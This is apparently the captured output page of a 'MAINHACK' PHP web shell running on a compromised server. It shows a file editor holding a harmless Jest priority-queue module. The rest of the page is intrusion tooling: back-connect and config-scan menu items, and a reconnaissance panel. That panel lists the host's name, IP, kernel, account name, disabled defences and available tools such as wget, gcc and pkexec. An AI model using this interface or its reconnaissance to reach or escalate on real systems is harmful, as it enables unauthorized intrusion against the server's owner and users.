[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: PriorityQueue.js
'use strict'; Object.defineProperty(exports, '__esModule', { value: true }); exports.default = void 0; function _defineProperty(obj, key, value) { if (key in obj) { Object.defineProperty(obj, key, { value: value, enumerable: true, configurable: true, writable: true }); } else { obj[key] = value; } return obj; } /** * Copyright (c) Facebook, Inc. and its affiliates. All Rights Reserved. * * This source code is licensed under the MIT license found in the * LICENSE file in the root directory of this source tree. */ /** * Priority queue that processes tasks in natural ordering (lower priority first) * accoridng to the priority computed by the function passed in the constructor. * * FIFO ordering isn't guaranteed for tasks with the same priority. * * Worker specific tasks with the same priority as a non-worker specific task * are always processed first. */ class PriorityQueue { constructor(_computePriority) { this._computePriority = _computePriority; _defineProperty(this, '_queue', []); _defineProperty(this, '_sharedQueue', new MinHeap()); } enqueue(task, workerId) { if (workerId == null) { this._enqueue(task, this._sharedQueue); } else { const queue = this._getWorkerQueue(workerId); this._enqueue(task, queue); } } _enqueue(task, queue) { const item = { priority: this._computePriority(task.request[2], ...task.request[3]), task }; queue.add(item); } dequeue(workerId) { const workerQueue = this._getWorkerQueue(workerId); const workerTop = workerQueue.peek(); const sharedTop = this._sharedQueue.peek(); // use the task from the worker queue if there's no task in the shared queue // or if the priority of the worker queue is smaller or equal to the // priority of the top task in the shared queue. The tasks of the // worker specific queue are preferred because no other worker can pick this // specific task up. if ( sharedTop == null || (workerTop != null && workerTop.priority <= sharedTop.priority) ) { var _workerQueue$poll$tas, _workerQueue$poll; return (_workerQueue$poll$tas = (_workerQueue$poll = workerQueue.poll()) === null || _workerQueue$poll === void 0 ? void 0 : _workerQueue$poll.task) !== null && _workerQueue$poll$tas !== void 0 ? _workerQueue$poll$tas : null; } return this._sharedQueue.poll().task; } _getWorkerQueue(workerId) { let queue = this._queue[workerId]; if (queue == null) { queue = this._queue[workerId] = new MinHeap(); } return queue; } } exports.default = PriorityQueue; class MinHeap { constructor() { _defineProperty(this, '_heap', []); } peek() { var _this$_heap$; return (_this$_heap$ = this._heap[0]) !== null && _this$_heap$ !== void 0 ? _this$_heap$ : null; } add(item) { const nodes = this._heap; nodes.push(item); if (nodes.length === 1) { return; } let currentIndex = nodes.length - 1; // Bubble up the added node as long as the parent is bigger while (currentIndex > 0) { const parentIndex = Math.floor((currentIndex + 1) / 2) - 1; const parent = nodes[parentIndex]; if (parent.priority <= item.priority) { break; } nodes[currentIndex] = parent; nodes[parentIndex] = item; currentIndex = parentIndex; } } poll() { const nodes = this._heap; const result = nodes[0]; const lastElement = nodes.pop(); // heap was empty or removed the last element if (result == null || nodes.length === 0) { return result !== null && result !== void 0 ? result : null; } let index = 0; nodes[0] = lastElement !== null && lastElement !== void 0 ? lastElement : null; const element = nodes[0]; while (true) { let swapIndex = null; const rightChildIndex = (index + 1) * 2; const leftChildIndex = rightChildIndex - 1; const rightChild = nodes[rightChildIndex]; const leftChild = nodes[leftChildIndex]; // if the left child is smaller, swap with the left if (leftChild != null && leftChild.priority < element.priority) { swapIndex = leftChildIndex; } // If the right child is smaller or the right child is smaller than the left // then swap with the right child if ( rightChild != null && rightChild.priority < (swapIndex == null ? element : leftChild).priority ) { swapIndex = rightChildIndex; } if (swapIndex == null) { break; } nodes[index] = nodes[swapIndex]; nodes[swapIndex] = element; index = swapIndex; } return result; } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.74 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002